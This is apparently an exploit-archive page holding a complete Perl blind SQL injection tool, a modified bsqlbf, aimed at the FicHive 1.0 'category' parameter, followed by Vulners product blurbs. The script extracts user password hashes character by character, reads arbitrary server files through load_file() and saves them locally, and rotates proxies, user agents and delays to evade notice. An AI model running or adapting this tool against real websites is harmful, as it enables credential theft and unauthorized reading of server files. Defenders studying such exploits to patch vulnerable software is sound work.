#!/usr/bin/perl
#Usage: ./test.pl -url "http://localhost/[script_path]/index.php?go=Fiction&category=<valide_id>
#############################################################################
use LWP::UserAgent;
use Getopt::Long;
use IO::Handle;
use strict;
$| = 1;
###############################################################################
my $default_debug = 0;
my $default_length = 13;
my $default_method = "GET";
my $default_time = 0;
my $version = "1.1";
my $default_useragent = "bsqlbf $version";
my $default_dict = "dict.txt";
my $default_sql = "fh_users.upass";
my $default_blind ="category";
my $default_match ="Genre: All/Genre:";
###############################################################################
$| = 1;
my ($args, $abc, $solution);
my ($string, $char, @dic);
my (%vars, @varsb);
my ($lastvar, $lastval);
my ($scheme, $authority, $path, $query, $fragment);
my $hits = 0;
my $usedict = 0;
my $amatch = 0;
my ($ua,$req);
###############################################################################
# Define GetOpt:
my ($url, $sql, $time, $rtime, $match, $uagent, $charset, $debug);
my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);
my ($dict, $start, $length, $method, $cookie,$blind);
my ($help, $bincharset, $get, $nodict);
my $options = GetOptions (
'help!' => \$help,
'url=s' => \$url,
'get=s' => \$get,
'sql=s' => \$sql,
'blind=s' => \$blind,
'match=s' => \$match,
'charset=s' => \$charset,
'start=s' => \$start,
'length=s' => \$length,
'dict=s' => \$dict,
'method=s' => \$method,
'uagent=s' => \$uagent,
'ruagent=s' => \$ruagent,
'cookie=s' => \$cookie,
'proxy=s' => \$proxy,
'proxy_user=s' => \$proxy_user,
'proxy_pass=s' => \$proxy_pass,
'rproxy=s' => \$rproxy,
'debug!' => \$debug,
'rtime=s' => \$rtime,
'time=i' => \$time );
&help unless ($url);
&help if $help eq 1;
#########################################################################
# Default Options.
$abc = charset();
$uagent ||= $default_useragent;
$debug ||= $default_debug;
$length ||= $default_length;
$solution ||= $start;
$method ||= $default_method;
$sql ||= $default_sql;
$time ||= $default_time;
$blind ||= $default_blind;
$match ||= $default_match;
&createlwp();
&parseurl();
if ( ! defined($blind)) {
$lastvar = $varsb[$#varsb];
$lastval = $vars{$lastvar};
} else {
$lastvar = $blind;
$lastval = $vars{$blind};
}
if (defined($cookie)) { &cookie() }
&banner();
&httpintro();
if ( ! $get) { &sqlget() } else { &fileget() }
sub fileget {
#ord(MID(compress(load_file(0xfilename)),1,1))
$get =~ m,.*/(.*),;
my $lget = $1;
my $rsize = $start + 1;
if (-e "$lget" && ! $start) {
$rsize = -s "$lget";
print "Error: file ./$lget exists.\n";
print "You can erase or resume it with: -start $rsize\n";
exit 1
}
my ($fstr,$i);
my $fsize = "";
$fstr = unpack("H*","$get");
# GET size of file.
$abc = "0123456789";
for ($i=1;$i<=15;$i++) {
my $furl;
my $find = 0;
foreach (split/ */,$abc) {
$find = 0;
$char = ord();
$string = " and mid(length(load_file(0x$fstr)),$i,1)=char($char)";
if (lc($method) eq "post") {
$vars{$lastvar} = $lastval . $string;
}
$furl = $url;
$furl =~ s/($lastvar=$lastval)/$1$string/;
&createlwp if $rproxy || $ruagent;
my $html=fetch("$furl");
$hits++;
foreach (split(/\n/,$html)) {
if (/\Q$match\E/) {
my $asc=chr($char);
$fsize .= $asc;
$find = 1;
}
last if $find == 1;
}
last if $find == 1;
}
last if $find == 0;
}
if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }
# starting ..
$length = "$fsize bytes";
$abc = "getfile [256]";
$sql = "load_file($get)";
&bsqlintro();
# Get file
open FILE, ">>$lget";
FILE->autoflush(1);
print "\n--- BEGIN ---\n";
my ($i,$b,$fcontent);
$rsize = 1 if $rsize < 1;
for ($i=$rsize;$i<=$fsize+1;$i++) {
my $find = 0;
my ($furl, $b_start, $b_end, $z);
for ($z=0;$z<272;$z+=16) {
my $zz = $z + 16;
$string = " and ord(mid(load_file(0x$fstr),$i,1))>=$z and ord(mid(load_file(0x$fstr),$i,1))<=$zz";
if (lc($method) eq "post") {
$vars{$lastvar} = $lastval . $string;
}
$furl = $url;
$furl =~ s/($lastvar=$lastval)/$1$string/;
&createlwp if $rproxy || $ruagent;
my $html=fetch("$furl");
$hits++;
foreach (split(/\n/,$html)) {
if (/\Q$match\E/) {
$b_start = $z;
$b_end = $z + 16;
$find = 1;
}
last if $find == 1;
}
last if $find == 1;
}
print "$fcontent";
for ($b=$b_start;$b<=$b_end;$b++) {
$find = 0;
$string = " and mid(load_file(0x$fstr),$i,1)=char($b)";
if (lc($method) eq "post") {
$vars{$lastvar} = $lastval . $string;
}
$furl = $url;
$furl =~ s/($lastvar=$lastval)/$1$string/;
&createlwp if $rproxy || $ruagent;
my $html=fetch("$furl");
$hits++;
foreach (split(/\n/,$html)) {
if (/\Q$match\E/) {
$fcontent = pack("C*","$b");
print FILE "$fcontent";
$find = 1;
}
last if $find == 1;
}
last if $find == 1;
}
}
print "\n--- END ---\n";
close FILE;
$solution = "success";
}
sub sqlget {
&bsqlintro();
$dict ||= $default_dict;
open DICT,"$dict"; @dic=<DICT>; close DICT;
my $i;
$nodict = 0;
for ($i=length($start)+1;$i<=$length;$i++) {
my $furl;
my $find = 0;
$abc = charset();
&bsqlintro if $debug == 1;
print "\r trying: $solution ";
foreach (split/ */,$abc) {
$find = 0;
$char = ord();
$string = " AND MID($sql,$i,1)=CHAR($char)";
if (lc($method) eq "post") {
$vars{$lastvar} = $lastval . $string;
}
print "\x08$_";
$furl = $url;
$furl =~ s/($lastvar=$lastval)/$1$string/;
&createlwp if $rproxy || $ruagent;
my $html=fetch("$furl");
$hits++;
foreach (split(/\n/,$html)) {
if (/\Q$match\E/) {
my $asc=chr($char);
$solution .= $asc;
$find = 1;
}
last if $find == 1;
}
last if $find == 1;
}
if ($usedict ne 0 && $find eq 0) { $nodict=1; $i--; }
if ($find eq "0" && $usedict eq "0") { last; };
}
}
&result();
#########################################################################
sub httpintro {
my ($strcookie, $strproxy, $struagent, $strtime, $i);
if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }
foreach (keys %vars) {
$i++;
}
if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
if ($rproxy) { $strproxy = "rnd.file:$rproxy" }
if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
# timing
if (! $time && !$rtime) { $strtime="0sec (default)" }
if ( $time == 0) { $strtime="0 sec (default)" }
if ( $time == 1) { $strtime="15 secs" }
if ( $time == 2) { $strtime="5 mins" }
if ($rtime) { $strtime = "rnd.time:$rtime" }
}
sub bsqlintro {
my ($strstart, $strblind, $strlen, $strmatch, $strsql);
if ($blind eq $default_blind) { $strsql = "$blind (default)"; } else { $strblind = $blind; }
if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
if ($match eq $default_match) { $strmatch = "$match" } else { $strmatch = "$match"; }
#printf ("%12s %-60s\n","$strmatch",$match);
print "-"x80; print "\n\n";
}
#########################################################################
sub createlwp {
my $proxyc;
&getproxy;
&getuagent if $ruagent;
LWP::Debug::level('+') if $debug gt 3;
$ua = new LWP::UserAgent(
cookie_jar=> { file => "$$.cookie" });
$ua->agent("$uagent");
if (defined($proxy_user) && defined($proxy_pass)) {
my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
} else { $proxyc = $proxy; }
$ua->proxy(['http'] => $proxyc) if $proxy;
undef $proxy if $rproxy;
undef $uagent if $ruagent;
}
sub cookie {
# Cookies check
if ($cookie || $cookie =~ /; /) {
foreach my $c (split /;/, $cookie) {
my ($a,$b) = split /=/, $c;
if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
}
}
}
sub parseurl {
###############################################################################
# Official Regexp to parse URI. Thank you somebody.
($scheme, $authority, $path, $query, $fragment) =
$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
# Parse args of URI into %vars and @varsb.
foreach my $varval (split /&/, $query) {
my ($var, $val) = split /=/, $varval;
$vars{$var} = $val;
push(@varsb, $var);
}
}
# Define CHARSET to use. Dictionary /// (TODO: fix ugly code)
sub charset {
if ($hits ne 0 && $nodict eq 0) {
my (%tmp,@b,$foo); undef %tmp; undef @b; undef $abc;
foreach my $line (@dic) {
chomp $line;
if ($line =~ /\Q$solution\E/ && $line !~ /^#/) {
$foo = $line; $foo =~ s/\Q$solution\E//;
foreach ((split/ */,$foo)) {
if ($tmp{$_} ne "1" ) {
$tmp{$_} = "1"; push (@b,$_);
}
}
}
}
if ($#b >= 0) {
foreach my $c (@b) { $abc .=$c;}
$usedict = $abc;
print "\nUsing a dictionary with this charset: $abc\n" if $debug == 1;
} else {
$abc = chardefault()
}
} else {
$abc = chardefault()
}
return $abc;
}
sub chardefault {
my $tmp;
$abc = $charset;
if (lc($charset) eq "md5") {
$abc = "abcdef0123456789\$.";
} elsif (lc($charset) eq "num") {
$abc = "0123456789";
} elsif (lc($charset) eq "all" || ! $charset) {
$abc = "abcdefghijklmnopqrstuvwxyz0123456789\$.:-_()[]{}&ordm;@=/\\|#?&iquest;&·!<>&ntilde;&Ntilde;";
}
# If a dictionary has been used before, remove chars from current charset
if ($usedict ne 0) {
foreach (split(/ */, $usedict)) {
$abc =~ s/$_//;
}
}
$usedict = 0;
return $abc;
}
sub auto_match {
$match = fmatch("$url");
}
#########################################################################
# Show options at running:
sub banner {
print "\n // FicHive v1.0 Blind SQL injection (bsqlbf tool modified)\n";
print " // Author:His0k4\n // Contact:his0k4.hlm[at]gmail.com\n\n";
}
#########################################################################
# Get differences in HTML
sub fmatch {
my ($ok,$rtrn);
my ($furla, $furlb) = ($_[0], $_[0]);
my ($html_a, $html_b);
if (lc($method) eq "get") {
$furla =~ s/($lastvar=$lastval)/$1 AND 1=1/;
$furlb =~ s/($lastvar=$lastval)/$1 AND 1=0/;
$html_a = fetch("$furla");
$html_b = fetch("$furlb");
} elsif (lc($method) eq "post") {
$vars{$lastvar} = $lastval . " AND 1=1";
$html_a = fetch("$furla");
$vars{$lastvar} = $lastval . " AND 1=0";
$html_b = fetch("$furla");
$vars{$lastvar} = $lastval;
}
my @h_a = split(/\n/,$html_a);
my @h_b = split(/\n/,$html_b);
foreach my $a (@h_a) {
$ok = 0;
if ($a =~ /\w/) {
foreach (@h_b) {
if ($a eq $_) {$ok = 1; }
}
} else { $ok = 1; }
$rtrn = $a;
last if $ok ne 1;
}
return $rtrn;
}
#########################################################################
# Fetch HTML from WWW
sub fetch {
my $secs;
if ($time == 0) { $secs = 0 }
elsif ($time == 1) { $secs = 15 }
elsif ($time == 2) { $secs = 300 }
if ($rtime =~ /\d*-\d*/ && $time == 0) {
my ($l,$p) = $rtime =~ m/(\d+-\d+)/;
srand; $secs = int(rand($p-$l+1))+$l;
} elsif ($rtime =~ /\d*-\d*/ && $time != 0) {
print "You can't run with -time and -rtime. See -help.\n";
exit 1;
}
sleep $secs;
my $res;
if (lc($method) eq "get") {
my $fetch = $_[0];
if ($cookie) {
$res = $ua->get("$fetch", Cookie => "$cookie");
} elsif (!$cookie) {
$res = $ua->get("$fetch");
}
} elsif (lc($method) eq "post") {
my($s, $a, $p, $q, $f) =
$url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
my $fetch = "$s://$a".$p;
if ($cookie) {
$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
} elsif (!$cookie) {
$res = $ua->post("$fetch",\%vars);
}
} else {
die "Wrong httpd method. Use -h for help\n";
}
my $html = $res->content();
return $html;
}
sub getproxy {
if ($rproxy && $proxy !~ /http/) {
my @lproxy;
open PROXY, $rproxy or die "Can't open file: $rproxy\n";
while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }
close PROXY;
srand; my $ind = rand @lproxy;
$proxy = $lproxy[$ind];
} elsif ($rproxy && $proxy =~ /http/) {
print "You can't run with -proxy and -rproxy. See -help.\n";
exit 1;
}
}
sub getuagent {
my @uproxy;
open UAGENT, $ruagent or die "Can't open file: $ruagent\n";
while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }
close UAGENT;
srand; my $ind = rand @uproxy;
$uagent = $uproxy[$ind];
chop($uagent);
}
sub result {
print "\r results: \n" .
" $sql = $solution\n" if length($solution) > 0;
print " total hits: $hits\n";
}
sub help {
&banner();
print " usage: $0 -url http://localhost/path/index.php?go=Fiction&category=<id>\n";
exit(1);
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation